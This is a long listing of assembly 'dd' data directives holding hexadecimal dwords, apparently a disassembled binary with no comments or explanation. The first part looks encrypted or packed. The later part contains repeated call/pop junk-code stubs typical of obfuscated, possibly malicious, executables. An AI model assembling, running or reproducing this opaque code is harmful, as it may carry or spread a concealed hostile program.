		dd 60E6633Dh, 0A4BCA0CCh, 1CE08D5Fh, 0AE76C8BFh, 4A04A653h
		dd 0F3AF9A74h, 4329E894h, 34C267FBh, 0ABE0ADF6h, 0C6F4662Bh
		dd 0D7539C4Ah, 48E38781h, 210E35D3h, 2E663E9h, 0ABB8A0AAh
		dd 0A3E2470Eh, 34E24779h, 64E6639Eh, 0E3ADA019h, 76BEA22h
		dd 42E387C0h, 4235E88Fh, 22E6661Dh, 2CD23B7Ah, 7CB77834h
		dd 0A76B02FFh, 27010E7Fh, 86FFE2Eh, 0F2196637h,	0CAB76383h
		dd 22E663F7h, 7B253A5Ah, 26C22FB4h, 26C2271Fh, 22E6635Bh
		dd 8C2532E6h, 3EF3E65Ah, 228C660Dh, 22E58BA1h, 7FC6637Ah
		dd 4E6F3EFEh, 666767BAh, 22FB676Bh, 77A363A7h, 52C74910h
		dd 0F491B1FFh, 2DE1E261h, 22E665F1h, 1C28E23Dh,	0E4BA41CEh
		dd 0C6CC2ACAh, 228C24A2h, 22E58B82h, 7BC663E9h,	6E6F3A37h
		dd 6667675Eh, 22FE6719h, 73A7639Eh, 271AB8Ch, 9F6FC548h
		dd 27024006h, 0C252B181h, 6D2E224h, 45D80A01h, 42DDDA5Bh
		dd 413D661h, 0FB6766ABh, 77A2C9FAh, 4FD6E65Eh, 228C660Eh
		dd 22E58BA1h, 7FC6637Ah, 4E6F3EFEh, 666767BAh, 22FF676Bh
		dd 77A363A7h, 11287B10h, 44C80C26h, 0F219B57Fh,	0CAB76310h
		dd 22E6633Eh, 7B253ABEh, 26C22FC6h, 26C22726h, 22E663C8h
		dd 932532A8h, 0A7CC06A7h, 0AB851FADh, 0C6C32E88h, 5763EA9Bh
		dd 71E38764h, 22F78BF4h, 64CD63D3h, 384F8251h, 2E52BEA3h
		dd 0DCE73F60h, 78155C92h, 0A7203CC4h, 27024906h, 735BEAE0h
		dd 0CAE387F2h, 22E663EDh, 0A33A738Eh, 44B6B8CFh, 0A9D64182h
		dd 70E247DAh, 0CB87032Fh, 22E663A9h, 68AEEFCBh,	59C4D537h
		dd 0AC0A92FBh, 7C87FFFDh, 71B563B6h, 0E0687C27h, 0ABBF3A1Ah
		dd 90E247E3h, 228C3BD9h, 22E58BBFh, 7CC663F4h, 566F3DB9h
		dd 66676719h, 22F267BAh, 74A0634Fh, 97191F64h, 27024526h
		dd 0CAB56383h, 22E663F7h, 7925385Ah, 26C23FB4h,	26C2271Fh
		dd 22E66359h, 0CD2530E4h, 0A980A9D7h, 1263EE3Ah, 48E38499h
		dd 210E317Ah, 2E6633Dh,	0ABBCA0C4h, 0A3E2471Bh,	36E247E3h
		dd 60E663D3h, 0ABA6A0BBh, 0C6CAB661h, 0AB369C7Fh, 0C6E4C6B8h
		dd 77E6099Bh, 22E660A7h, 0E1BB43A7h, 68AEA8Eh, 6A2E2EDh
		dd 22E67BF0h, 0E1B3267Ah, 0F47C7AF4h, 6B63A52Ch, 65E38765h
		dd 0FD9F96CFh, 0A3B8311Ch, 674E47DDh, 228C06E6h, 22E58B2Fh
		dd 7FC6633Dh, 4E6F3E5Dh, 6667676Bh, 22FB6783h, 77A363D3h
		dd 0B19B902Ah, 463AA6BAh, 0DDD22E36h, 0C6C09688h, 9353E89Bh
		dd 0AFE38747h, 0C58B5322h, 70E609D6h, 22E66001h, 0E1BC43F4h
		dd 6B2EA20h, 6A2E239h, 22E67F9Ah, 0E1B4214Fh, 0FBE3FC09h
		dd 867A5522h, 5773EA0Eh, 0DDE387FBh, 0F16D05AAh, 22EF8B5Dh
		dd 35B1639Eh, 0D57FC9A7h
		dd 44E09BB3h, 0CA68B152h, 22E38BB2h, 0B7C163F4h, 0CBBC8022h
		dd 22E66336h, 0A3FCE833h, 3F7D8E11h, 78309C81h,	0DF63EAB2h
		dd 0A9E387F5h, 0C6F6AA79h, 48369C7Fh, 210E303Dh, 2E6639Eh
		dd 0ABBDA014h, 0A3E247FBh, 37E24797h, 61E663E9h, 19C3A0A7h
		dd 0A7E9031Ah, 22E6633Dh, 0BF6D0262h, 27026032h, 0B200E2C6h
		dd 0AB8F3B4Ch, 0C6CC426Ch, 74E609F1h, 22E66092h, 0E1B8433Dh
		dd 692EAC0h, 6A2E24Bh, 22E678A3h, 0E1B025D3h, 998D2BEAh
		dd 90485E4Bh, 483EEF1Ch, 210E313Dh, 2E6639Eh, 0ABBCA015h
		dd 0A3E247F3h, 37E24797h, 60E663E9h, 0E0E2A0A6h, 228C675Eh
		dd 22E58B6Ch, 7BC6639Eh, 6E6F3A8Ch, 66676783h, 22F367F7h
		dd 73A763E9h, 285D6537h, 5E626CBAh, 0CAE6633Eh,	22E6638Ah
		dd 8435DE17h, 0BA9DC62Ch, 1C34C4A3h, 8CDE6CA5h,	0B7D51F73h
		dd 3F27D653h, 0E4BC66D9h, 0C6CC2A1Bh, 228C2C4Ah, 22E58BF7h
		dd 7AC663D3h, 666F3B2Ah, 666767D0h, 22FB675Eh, 72A6633Dh
		dd 0FBF2055Dh, 0B0D02CCDh, 749352D7h, 22E6733Ah, 0D1F7D6E9h
		dd 0E1689333h, 0DF2FBD5Dh, 0C8EAC70Eh, 7F8E3A32h, 0CA99EA19h
		dd 22E663ACh, 0D1DC32D0h, 0F1A906CFh, 0A97151CCh, 266739A9h
		dd 0D5F00419h, 2B73EAA1h, 0DDE3874Eh, 0C6C09612h, 71E609D6h
		dd 22E66001h, 0E1BD43F4h, 6BAEA21h, 6A2E239h, 22E6769Ah
		dd 0E1B5204Fh, 9F6F78C3h, 27024A1Ah, 4FD6E664h,	228C6613h
		dd 22E58B2Ah, 7AC6633Dh, 666F3B5Dh, 6667676Bh, 22FD6783h
		dd 72A663D3h, 48B6B22Ah, 859A184Dh, 976F0304h, 27027FC4h
		dd 22E3E791h, 0D95E634Fh, 43D05D57h, 228CB32Ch,	22E58BBFh
		dd 7CC663F4h, 566F3DB9h, 66676719h, 22F267BAh, 74A0634Fh
		dd 0A9B19264h, 0C6E9026Eh, 97D739ECh, 2702775Dh, 48C2A3F9h
		dd 210E323Dh, 2E6639Eh,	0ABBFA016h, 0A3E247EBh,	3FE24797h
		dd 63E663E9h, 27A8A0A5h, 590C9678h, 2A3AEA4Ah, 0A76F9915h
		dd 27026216h, 0A76DA92Dh, 270249F2h, 0CAB46383h, 22E663F7h
		dd 7825395Ah, 26C237B4h, 26C2271Fh, 22E66357h, 232531E5h
		dd 8E4C0E8Dh, 104FDE62h, 0BF6D6610h, 27027F87h,	0CAB36357h
		dd 22E6639Dh, 7F253E6Fh, 26C20F2Eh, 26C22752h, 22E663FFh
		dd 212536B1h, 0A380C903h, 61EC3AF3h, 0CAB463F4h, 22E6634Ch
		dd 78253987h, 26C2375Ah, 26C22768h, 22E663EFh, 1A253138h
		dd 78DB70ADh, 44BC7984h, 0DA8EB5CEh, 228C782Ch,	22E58B83h
		dd 7AC663E9h, 666F3B37h, 6667675Eh, 22F36719h, 72A6639Eh
		dd 9450588Ch, 0CAFDE868h, 22E663C7h, 20CDB40h, 209EE10Ch
		dd 9CCF7F50h, 31F94095h, 1D3BDB5Ch, 6F6BD929h, 0ABFDE8F8h
		dd 0C6EB266Eh, 2D3E50ECh, 22E66B73h, 9FEF347Ah,	27027540h
		dd 0B76D03C4h, 27024BA2h, 3383EE2Eh, 0AB876637h, 0C6C6FA74h
		dd 0A7209FF1h, 27024933h, 73E6097Ah, 22E66076h,	0E1BF434Fh
		dd 6AAEAFEh, 6A2E2D7h, 22E676EDh, 0E1B722F4h, 0FE8E88DBh
		dd 2D661CE5h, 22E66919h, 0A5E9034Fh, 22E663A7h,	0A38702B3h
		dd 262B47EDh, 971954ABh, 2702458Fh, 22E66AD5h, 4DF5F99Eh
		dd 2F5B196Dh, 0A76F24C5h, 270279B2h, 1263EEB3h,	0CBE38499h
		dd 22E66372h, 0EE675BA5h, 0BFA75194h, 228CB3B0h, 22E58BF2h
		dd 7FC663D3h, 4E6F3E2Ah, 666767D0h, 22FE675Eh, 77A3633Dh
		dd 60C2E15Dh, 0A76F9CCAh, 270248D2h, 0CAB363B9h, 22E663EAh
		dd 7F253ED4h, 26C20FF3h, 26C227BCh, 22E66387h, 3525360Ah
		dd 67126821h, 0A4E903FBh, 22E663ECh, 0D816E292h, 0CC6705A8h
		dd 6287BFD0h, 22E0E691h, 976F634Fh, 270270BEh, 0F36D6358h
		dd 330F6362h, 4E663F4h,	0DC3404B2h, 0B46F0247h,	0C02DA561h
		dd 0A7BB1BBh, 373E62Eh,	228C6637h, 22E58BBCh, 7FC663F4h
		dd 4E6F3EB9h, 66676719h, 22FF67BAh, 77A3634Fh, 0CAB55D64h
		dd 2D4C5305h, 22E6676Eh, 6F5C05F4h, 23C48A57h, 228C633Dh
		dd 22E58BCCh, 78C6634Fh, 766F3964h, 666767F7h, 22F367CDh
		dd 70A463F4h, 0AF190AB9h, 0C5791AB8h, 0A980F39Bh, 44863398h
		dd 4218CC1Fh, 13E93183h, 0E16D3BB3h, 44760295h,	0DD3992C0h
		dd 0C6C25AA8h, 6F6BE89Bh, 0CAE3875Dh, 22E663ADh, 0E3E3B4B7h
		dd 89958056h, 0C867D699h, 7D75D8A5h, 5D7BEE63h,	48E38401h
		dd 210E364Fh, 2E663A7h,	0ABBBA08Eh, 0A3E24785h,	3FE247B0h
		dd 67E6637Ah, 0A341A068h, 4D827EBFh, 4439A9E2h,	0A5FFE2Eh
		dd 73756637h, 22E66B01h, 7AE485F4h, 0AAD708Ch, 5862D9E9h
		dd 7BB840DCh, 709CD91Fh, 0DA752A4Ah, 0FD5C0543h, 4876334Ah
		dd 210E31F4h, 2E6637Ah,	0ABBCA067h, 0A3E247CAh,	38E2470Bh
		dd 60E663A7h, 0BED6A081h, 82C661B7h, 376B50D4h,	0DDE3875Dh
		dd 0C6EAF2A8h, 74E6099Bh, 22E660A7h, 0E1B843A7h, 692EA8Dh
		dd 6A2E2EDh, 22E674F0h,	0E1B0257Ah, 819D2511h, 0A76F962Ch
		dd 27026216h, 22EAE9A8h, 0A3E963D3h, 22E663EFh,	2E53EEDDh
		dd 0BF6F669Eh, 27027F48h, 8AFE658h, 0ABB566ABh,	0C6C2422Ah
		dd 26CB0BD6h, 70B65A93h, 22E66A1Ch, 1A32077Ah, 46759080h
		dd 0BC57A40Bh, 2DD76C11h, 22E66025h, 0D16D05D3h, 26673BB3h
		dd 2F6631D0h, 3F53E80Bh, 0DDE3873Dh, 0C6C0962Bh, 22EE8B4Ah
		dd 611C63A7h, 4CFBB0D1h, 0AFBF3352h, 0C58B5371h, 0F0516C7Fh
		dd 3AFDEB6h, 0F219667Ah, 22E66CA6h, 0F44C4CA7h,	0EAD8D551h
		dd 22F0DD06h, 0DE10684Ch, 32A3E6F3h, 441A66D9h,	0B638811Fh
		dd 8AFE689h, 48A16643h,	210E33D3h, 2E663E9h, 0ABBEA0ACh
		dd 0A3E2473Eh, 38E24779h, 62E6639Eh, 1590A01Fh,	0AB18B092h
		dd 0E764DD36h, 798E5C0Ch, 0CB2E3A8Fh, 22E6636Ah, 298D9BA2h
		dd 88AA0845h, 57A6523Ah, 1C9CCEF8h, 0E9C25752h,	488F4887h
		dd 210E33F4h, 2E6637Ah,	0ABBEA065h, 0A3E247DAh,	3BE2470Bh
		dd 62E663A7h, 5129A083h, 41ADDFBEh, 3B77EEDFh, 9719669Eh
		dd 270245C8h, 0CAB663F4h, 22E6634Ch, 7A253B87h,	26C2275Ah
		dd 26C22768h, 22E663ECh, 6825333Ah, 84932267h, 109BFEB7h
		dd 0A76B66ABh, 27010E97h, 0CAB063B9h, 22E663EAh, 7C253DD4h
		dd 26C217F3h, 26C227BCh, 22E66385h, 66253509h, 33173A2h
		dd 0DDE43248h, 935BE839h, 0ABE387D2h, 0C6F14EFFh, 0A7209A38h
		dd 270249D7h, 73E6091Ch, 22E6604Fh, 0E1BF43D3h,	6AAEAB0h
		dd 6A2E2F0h, 22E6757Eh,	0E1B7223Dh, 4AE42125h, 0F5C26ACDh
		dd 22E6724Eh, 63BC29D3h, 6C53C59Ch, 9CB79C23h, 0BE85337Ah
		dd 1667043Eh, 3FB071BAh, 22EB8A01h, 79FF63A7h, 53E50553h
		dd 427DE927h, 0DD820A9Eh, 0C6C096CFh, 0F373E838h, 0AFE387B2h
		dd 0C58B53CAh, 72E609A2h, 22E6603Bh, 0E1BE43E9h, 6A2EAACh
		dd 6A2E27Eh, 22E67A39h,	0E1B6239Eh, 4EC76DB3h, 976DB1ABh
		dd 270246FEh, 228CB316h, 22E58BA4h, 7AC6637Ah, 666F3BFEh
		dd 666767BAh, 22F1676Bh, 72A663A7h, 360BE210h, 0AB2EE9B7h
		dd 0C6CC0271h, 70E6097Fh, 22E660D5h, 0E1BC439Eh, 6B2EA15h
		dd 6A2E2A3h, 22E674D7h,	0E1B421E9h, 2EEF5A3Fh, 22E67193h
		dd 0B2470B3Dh, 0C6F78FFCh, 24EE6A52h, 1E71E787h, 0E436838Bh
		dd 0C6CC2A6Ch, 228C34F1h, 22E58B2Ch, 7CC6633Dh,	566F3D5Dh
		dd 6667676Bh, 22F16783h, 74A063D3h, 0B53B432Ah,	6F73E8EBh
		dd 4AE38750h, 0A3BF5EBEh, 0B9B0DAF8h, 0A7C257CEh, 48F73EC8h
		dd 210E32D3h, 2E663E9h,	0ABBFA0ADh, 0A3E24736h,	3FE24779h
		dd 63E6639Eh, 1AA4A01Eh
		dd 6BF7A8CCh, 0DAA7045Eh, 413D616h, 976F6610h, 270260BBh
		dd 4FD6E6B0h, 0AAE96679h, 22E6634Dh, 0F2199712h, 0CAB663B9h
		dd 22E663EAh, 7A253BD4h, 26C227F3h, 26C227BCh, 22E66386h
		dd 1925330Fh, 8C3BC278h, 3D7F658h, 0A76F660Dh, 27024E59h
		dd 0CAB56310h, 22E6633Eh, 792538BEh, 26C23FC6h,	26C22726h
		dd 22E663CBh, 0A22530AAh, 0C496B223h, 22E66C92h, 314C793Dh
		dd 51DF6621h, 6C407F56h, 0AF0ED3A5h, 6B63A58Ch,	61E387C3h
		dd 3547F67Dh, 0C68E669Eh, 72606219h, 22E18BCCh,	70DF634Fh
		dd 6BCDC85h, 13E93D49h,	22E08A89h, 6D1863F4h, 0B3AA0B28h
		dd 13E9316Dh, 78873BC4h, 6D2E217h, 1877376Bh, 0CAB763B9h
		dd 22E663EAh, 7B253AD4h, 26C22FF3h, 26C227BCh, 22E6638Ah
		dd 2D25320Eh, 413D658h,	228C6637h, 22E58BBFh, 7CC663F4h
		dd 566F3DB9h, 66676719h, 22F167BAh, 74A0634Fh, 87591064h
		dd 22F28B34h, 469663E9h, 393F0C64h, 0C8A20501h,	0EB46849h
		dd 324A8FB1h, 9DB64EDBh, 2926E351h, 0A76B3C89h,	27010ED9h
		dd 0CAB4639Eh, 22E66379h, 7825391Dh, 26C23717h,	26C227CEh
		dd 22E663BAh, 0A9253191h, 56D3CD9Fh, 35DA0778h,	0ABB0DD0Dh
		dd 0B76F6E11h, 270277DFh, 95E9B3B0h, 7363EA6Fh,	48E387F4h
		dd 210E34E9h, 2E663F4h,	0ABB9A025h, 0A3E24741h,	3BE247DAh
		dd 65E6634Fh, 0C788A0F0h, 0F5CB9F1Bh, 207EE60h,	0A76B6610h
		dd 2701FC15h, 0CAB36357h, 22E6639Dh, 7F253E6Fh,	26C20F2Eh
		dd 26C22752h, 22E663F1h, 0B82536B1h, 0D397DF9Fh, 389BF616h
		dd 72B6667Ah, 206F6C1Dh, 74E663A7h, 42D76C8Ch, 4386B462h
		dd 0ABBE3995h, 228C477Eh, 22E58B6Fh, 78C6639Eh,	766F398Ch
		dd 66676783h, 22F367F7h, 70A463E9h, 0A8DD1E37h,	1B739CAAh
		dd 48E38719h, 210E339Eh, 2E6634Fh, 0ABBEA0FFh, 0A3E24797h
		dd 34E247ADh, 62E663F4h, 0AAAFA02Ah, 28676CA4h,	0CBE6639Eh
		dd 22E6634Ah, 0EF09CE15h, 0A92AE905h, 0AAE93231h, 22E663F7h
		dd 7D2FDC75h, 0BD85E6B0h, 0A3806679h, 2D9D4BBEh, 0A9B6B018h
		dd 6E2EA05h, 0DE01BA69h, 885C05A4h, 6FAEA00h, 135FFE14h
		dd 0B719667Ah, 27026FDEh, 33DFE62Eh, 228C6637h,	22E58BBEh
		dd 7DC663F4h, 5E6F3CB9h, 66676719h, 22FB67BAh, 75A1634Fh
		dd 855E3F64h, 9A282CF9h, 2D8B8D30h, 0A721AA4Bh,	27026E7Fh
		dd 22E66332h, 0CAB163F4h, 22E6634Ch, 7D253C87h,	26C21F5Ah
		dd 26C22768h, 22E663EDh, 0D525343Dh, 0AA816D97h, 1B739CE9h
		dd 48E3875Eh, 210E34A7h, 2E663D3h, 0ABB9A0B6h, 0A3E24788h
		dd 37E2473Eh, 65E6633Dh, 0B108A0C9h, 90E7DD29h,	3AC7E62Eh
		dd 228C6637h, 22E58BB9h, 7AC663F4h, 666F3BB9h, 66676719h
		dd 22F067BAh, 72A6634Fh, 5A0AF864h, 3EBBD658h, 2D0F660Dh
		dd 96E663F4h, 0E1472E49h, 0C51A15Dh, 0D827A52Bh, 0A76DFAC6h
		dd 2702463Eh, 902DFE5Eh, 616F660Eh, 475BEEF5h, 0AFE38768h
		dd 0C554C688h, 22D5DA9Bh, 8615634Fh, 225E504Ch,	29E663D3h
		dd 0E0E51729h, 666D63ECh, 0CAB56F5Eh, 22E6633Dh, 3525E2C5h
		dd 0ABE6634Fh, 0ABF647FBh, 79F24797h, 82465451h, 0A9069CF4h
		dd 0DDE2473Eh, 73E609DDh, 22E66076h, 0E1BF434Fh, 6AAEAFEh
		dd 6A2E2D7h, 22E67EEDh,	0E1B722F4h, 0BD2F03EAh,	0BE157BCBh
		dd 0A980E82Dh, 22E38BB6h, 10D863A7h, 449DF5BEh,	0E4AABD68h
		dd 9F6B02ADh, 2701FC19h, 91CBEEB0h, 175E6679h, 117E45E4h
		dd 0C6F6C622h, 0E32948D6h, 8C9C8003h, 829DE9F8h, 0BD4226E8h
		dd 8FCBE1AEh, 0EE22E663h, 405B903Fh, 0E983CF59h, 8BA4F305h
		dd 55006AD9h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 858900F2h, 5E42A79h, 1BE9h, 0A840F00h, 60000000h
		dd 800Fh, 5A530000h, 0C3F96161h, 1840Fh, 0F8F80000h, 6AC08Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 959CFDC3h, 4F1A31CFh, 800F76BEh, 1, 0CE9FCh,	983C0000h
		dd 0BD2ACD7Bh, 183B4D7Dh, 0BD8360FEh, 5E416A1h,	83097500h
		dd 0E4220DBDh, 19740005h, 0C08B5350h, 4B9B8h, 55858900h
		dd 8D05E41Ah, 0E6A9529Dh, 5BD3FF05h, 0DBD8358h,	5E422h
		dd 53501774h, 4B9B8h, 55858900h, 8D05E41Ah, 0E6A5F39Dh
		dd 5BD3FF05h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0CEE0F697h, 53006ACBh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0D57F929Fh
		dd 1880Fh, 8BFC0000h, 18F0FC0h,	0F8000000h, 6AC18B40h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 904FC353h, 0F69FC960h, 899CF318h,	0E41C11BDh
		dd 4EB05h, 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 7DAC352h, 0DBE0493Ah, 7E9h, 7FB21A00h
		dd 54BD0B35h, 6810Fh, 0BD8B0000h, 5E41345h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0B6C35242h, 53093624h
		dd 81662CBDh, 8DB113F7h, 0E419D585h, 52006A05h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 5110AFC9h
		dd 0F59D2929h, 5005E41Ah, 0EE9h, 7101F900h, 7FF3C99Ch
		dd 828E018Ch, 89987C3Eh, 0B58B2404h, 5E40831h, 6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 735770C3h, 0F006AF8h, 0D86h,	8E900h,	33DB0000h, 965BD74Ah
		dd 858DF1A9h, 5E7B640h,	841B529h, 0C08305E4h, 69958905h
		dd 5005E423h, 6E96056h,	0ED000000h, 0D0A92724h,	0DCB86685h
		dd 895F615Dh, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0B9B32AC3h, 48E18992h, 89A78D09h
		dd 0E425EDBDh, 8B006A05h, 8B006AFBh, 0E41531B5h, 0A195FF05h
		dd 6A05E421h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 8392C353h, 0D639AEB2h,	8DF557D7h
		dd 0E79E7F9Dh, 0C6816605h, 0D3FFFD01h, 244DB58Bh, 85FF05E4h
		dd 5E4142Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	18C35747h, 0B70F7CD5h, 7A6E9F0h, 0E80000h, 5D000000h
		dd 0B64AED81h, 8D0105E7h, 5E4143Dh, 0D05BD81h, 7D005E4h
		dd 860F0000h, 1A4h, 0D298589h, 9D8B05E4h, 5E41525h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 68C35747h, 6820Fh
		dd 0B5010000h, 5E424C5h, 100E381h, 0B5310000h, 5E42575h
		dd 0CE9h, 25E91B00h, 890E7BFh, 0C168BDF7h, 0FDB0B84h, 0D585h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0E26EA8Eh, 8611FEABh, 13E92DDDh,	99000000h
		dd 0BA1B9203h, 0C33C5073h, 6F1498Dh, 66E8038Fh,	0BE66837Bh
		dd 0BD83174Eh, 5E7B496h, 50840F00h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 0D9E6C355h, 9067661Ch, 0E9D68688h, 99h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 69C35242h, 895F7102h
		dd 1870Fh, 0C7F90000h, 0E7B49685h
		dd 105h, 63E900h, 0BD8B0000h, 5E41DE1h,	0F3816660h, 8C0FFE75h
		dd 15h,	0FE8h, 0E3E7E800h, 6D62C3DBh, 9E75C9C6h, 0A06E20D0h
		dd 85C7615Fh, 5E7B496h,	0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0B1C35242h
		dd 0CE891h, 0F5630000h,	2948FC1h, 0CA961A2Eh, 5E570B6Ah
		dd 259D8D5Eh, 0B05E415h, 0E40CC5B5h, 0FF238105h, 6AFFFFFEh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0AB63C352h, 4D17623Dh, 0BD89E2DDh, 5E40151h
		dd 66DB8C66h, 5C16E781h, 0F04C3F6h, 5884h, 0CE900h, 7BE30000h
		dd 2FF5896Eh, 595475DFh, 95FFDB10h, 5E41139h, 10E8h, 0C98D4300h
		dd 0B42146C2h, 8E50F5F0h, 0DC68C263h, 0F99D8939h, 5E05E429h
		dd 8E990h, 0B4520000h, 73D81CABh, 5250FC8Eh, 4EE8BF60h
		dd 52505943h, 585A310Fh, 89905E61h, 0E4074DBDh,	426E905h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 8BB149C3h, 0E41225BDh, 0CDB58B05h, 0B005E403h
		dd 15950100h, 0E605E416h, 57006A70h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 39EF1924h
		dd 8B66A865h, 8171E4F3h, 0E9A361CFh, 0D8B60F4Fh, 0B0DBF66h
		dd 6BAh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0EF8239F2h, 66943AA8h, 8BC30BBFh
		dd 53006AC3h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0FB8B6607h, 8904E8C1h, 0E4245185h, 0E2F76605h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 59C35141h
		dd 0BF66646Ch, 0F18B6E9Ch, 0B58BD82Bh, 5E41F2Dh, 0B8E0F93h
		dd 0E9000000h, 6, 75028567h, 0BE50BE19h, 17D5CB2Eh, 51006A93h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 0AE87C071h, 0CD4F04BEh, 5B5FF5Bh, 0F05E40Dh,	1385h
		dd 0EE900h, 0D6DD0000h,	183391D3h, 5F6FE686h, 706EF0E7h
		dd 10C195FFh, 0F6005E4h, 482h, 62B86600h, 0E88A56D5h, 0B0615Bh
		dd 0F8BF0F53h, 6A70E65Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0DF22C357h,	0ABA4B08Eh
		dd 29D741ACh, 0E41641B5h, 0BF71E405h, 5AC757Fh,	830F613Ch
		dd 288h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 16h,	26C35545h, 0B60FE682h, 52006AD8h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0B5673192h
		dd 1D61B589h, 6BA05E4h,	0F000000h, 86h,	29C38B00h, 0E4118D95h
		dd 4E8C105h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	5EC35747h, 218AAC5Eh, 8D9B503h,	0F76605E4h, 56006AE2h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0E1152109h, 0A0C8599Ch, 13890F38h, 0E9000000h, 0Eh
		dd 1D0AD90Ch, 51C7FA9Fh, 5B211796h, 0D82B82C8h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 66C35242h, 70F80EB5h
		dd 81663947h, 5800A3F6h, 0B1BD8Bh, 0D82B05E4h, 18E880Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0B93A46C3h, 7, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 5BC35646h, 0EDCEEAE6h, 0C183CBh
		dd 1829BD8Bh, 0D93B05E4h, 13A860Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 75D901C3h
		dd 81AD8B2Eh, 0C619AAF7h, 6E9523Eh, 0BB000000h,	1585200Dh
		dd 8C665FEDh, 858960D9h, 5E40371h, 82C38166h, 0C1F661EEh
		dd 0E6840F04h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0F02C357h, 0CBC0A9Eh
		dd 0F8A5F602h, 0BE5DCF81h, 95FF7CCBh, 5E41139h,	2CB1B58Bh
		dd 6A5B05E4h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0DDE8C357h, 0CAEE4C6Fh, 0BE852h
		dd 203F0000h, 1B4057C7h, 537A4070h, 95895EE4h, 5E42395h
		dd 6AC32Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 70AB38C3h, 8B0FA430h, 6, 2B199D89h, 343D05E4h
		dd 0F000008h, 3C86h, 0D9B58B00h, 0E905E419h, 38h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B3C35040h, 0A4B4B564h
		dd 2375ACBFh, 0C1B58BDAh, 8905E40Ch, 0E41DB185h, 66C08B05h
		dd 31B0CF81h, 0D88BC38Bh, 6890Fh, 0B58B0000h, 5E417E1h
		dd 2D7585C7h, 8BFB05E4h, 6A3ECAh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 0BE6B5DC3h, 0F5F210FAh
		dd 8B5E625Ah, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 81FE8B6Ah, 0E40D05BDh, 7D005h, 4D850F00h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 973EC355h, 94AB6C46h, 85FFF78Bh
		dd 5E40D05h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	0C2C35040h, 0B58BD557h,	5E41741h, 0D05B5FFh, 0BE6605E4h
		dd 0D781B99Eh, 79C8D601h, 10C195FFh, 858905E4h,	5E41111h
		dd 5678B890h, 6A1234h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 856F6CC3h, 0A8C5525Ah, 9D8D4AD0h
		dd 5E7BD78h, 0FFF899E9h, 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 0B9A53140h, 0FFEEBB8Ch
		dd 3295B501h, 0B58905E4h, 5E41EE9h, 0E20EBF66h,	7E9h, 20453C00h
		dd 0DEC2F1CDh, 0BF66C18Bh, 0EBF5637Fh, 4, 5E900h, 85850000h
		dd 6A4D31F8h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 5FB7C356h, 99CD587Fh, 0CDC4D5D0h
		dd 0EF8166F5h, 858D64EAh, 5E419D5h, 0E851006Ah,	3, 59C35920h
